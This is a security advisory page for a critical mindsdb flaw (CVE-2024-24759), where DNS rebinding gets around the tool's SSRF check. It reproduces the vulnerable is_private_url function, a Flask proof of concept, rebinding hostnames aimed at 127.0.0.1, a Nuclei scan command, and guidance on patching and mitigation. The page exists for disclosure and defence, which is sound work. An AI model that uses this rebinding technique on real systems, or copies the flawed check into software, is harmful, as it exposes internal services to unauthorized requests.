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GHSA-4jcv-vp96-94xr — mindsdb

CRITICALFix: mindsdb/mindsdb@5f74964

GHSA-4jcv-vp96-94xr is a critical-severity (CVSS 9.3) vulnerability in mindsdb. 1 public exploit reference exists, so weaponization risk is real. A fix is available for mindsdb — see the affected versions and patch details below.

MindsDB Vulnerable to Bypass of SSRF Protection with DNS Rebinding

Also known asCVE-2024-24759PYSEC-2024-74
Published
Sep 5, 2024
Updated
Nov 27, 2024
Affected
1 pkg
Patched
1 / 1
Exploits
1 known
Exploitation data as of Sep 26, 2026 · OSV.dev, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.

Exploitation and automatability from CISA’s SSVC triage for GHSA-4jcv-vp96-94xr.

EPSS Exploitation Probability

via FIRST.org ↗
4.9%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs92th percentile — riskier than 92% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

GHSA-4jcv-vp96-94xr by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐍mindsdb

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms would be initially resolved to 190.119.176.200 and the next DNS issue to 127.0.0.1. Please notice the following in the latest codebase:

def is_private_url(url: str):
    """
    Raises exception if url is private

    :param url: url to check
    """

    hostname = urlparse(url).hostname
    if not hostname:
        # Unable to find hostname in url
        return True
    ip = socket.gethostbyname(hostname)
    return ipaddress.ip_address(ip).is_private

As you can see, during the call to is_private_url() the initial DNS query would be issued by ip = socket.gethostbyname(hostname) to an IP (public one) and then due to DNS Rebinding, the next GET request would goes to the private one.

PoC

from flask import Flask, request, jsonify
from urllib.parse import urlparse
import socket
import ipaddress
import requests

app = Flask(__name__)


def is_private_url(url: str):
    """
    Raises exception if url is private

    :param url: url to check
    """

    hostname = urlparse(url).hostname
    if not hostname:
        # Unable to find hostname in url
        return True
    ip = socket.gethostbyname(hostname)
    if ipaddress.ip_address(ip).is_private:
        raise Exception(f"Private IP address found for {url}")


@app.route("/", methods=["GET"])
def index():
    return "http://127.0.0.1:5000/check_private_url?url=https://www.google.Fr"


@app.route("/check_private_url", methods=["GET"])
def check_private_url():
    url = request.args.get("url")

    if not url:
        return jsonify({"error": 'Missing "url" parameter'}), 400

    try:
        is_private_url(url)
        response = requests.get(url)

        return jsonify(
            {
                "url": url,
                "is_private": False,
                "text": response.text,
                "status_code": response.status_code,
            }
        )
    except Exception as e:
        return jsonify({"url": url, "is_private": True, "error": str(e)})


if __name__ == "__main__":
    app.run(debug=True)

After running the poc.py with flask installed, consider visiting the following URLs:

  1. http://127.0.0.1:5000/check_private_url?url=https://www.example.com since it is in the public space, you would get is_private: false and the GET request would be issued to the www.Example.com website.
  2. http://127.0.0.1:5000/check_private_url?url=http://localhost:8667, this one the address is private, you would get is_private: true
  3. http://127.0.0.1:5000/check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ But this one, it initially returns the public IP 190.119.176.214 and then DNS rebind into the network location 127.0.0.1:8667.

I set up a simple HTTP server at 127.0.0.1:8667, you can notice the results of the PoC in the next screenshot:

{
  "is_private": false,
  "status_code": 200,
  "text": "<pre>\n<a href=\"poc.py\">poc.py</a>\n</pre>\n",
  "url": "http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/"
}

Impact

  • Bypass the SSRF protection on the whole website with DNS Rebinding.
  • DoS too.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPImindsdball versions23.12.4.2pip install --upgrade 'mindsdb==23.12.4.2'
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mindsdb, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update mindsdb to 23.12.4.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-4jcv-vp96-94xr is resolved across your whole dependency graph.

  3. Workarounds

    Restrict outbound requests from the affected component to an allowlist of hosts, block access to link-local and internal address ranges at the network layer, and require authentication on internal services so a forged request cannot reach them unauthenticated.

How to detect GHSA-4jcv-vp96-94xr

A community-maintained Nuclei template exists for this CVE. You can scan for it directly:

nuclei -id ghsa-4jcv-vp96-94xr -u https://target
Template
MindsDB -DNS Rebinding SSRF Protection Bypass
Severity
high
Impact
SSRF Protection Bypass via DNS Rebinding
Remediation
Upgrade to mindsdb version 23.12.4.2 or later

Template by ProjectDiscovery nuclei-templates (Lee Changhyun(eeche)), MIT licensed. View the full template. Scan only systems you are authorised to test.

Frequently Asked Questions

### Summary DNS rebinding is a method of manipulating resolution of domain names to let the initial DNS query hits an address and the second hits another one. For instance the host `make-190.119.176.200-rebind-127.0.0.1-rr.1u.ms` would be initially resolved to `190.119.176.200` and the next DNS issue to `127.0.0.1`. Please notice the following in the latest codebase: ```python def is_private_url(url: str): """ Raises exception if url is private :param url: url to check """ hostname = urlparse(url).hostname if not hostname: # Unable to find hostname in url
O3 Security · Impact-Aware SCA

Is GHSA-4jcv-vp96-94xr in your dependencies?

Find it across PyPI, including transitive dependencies.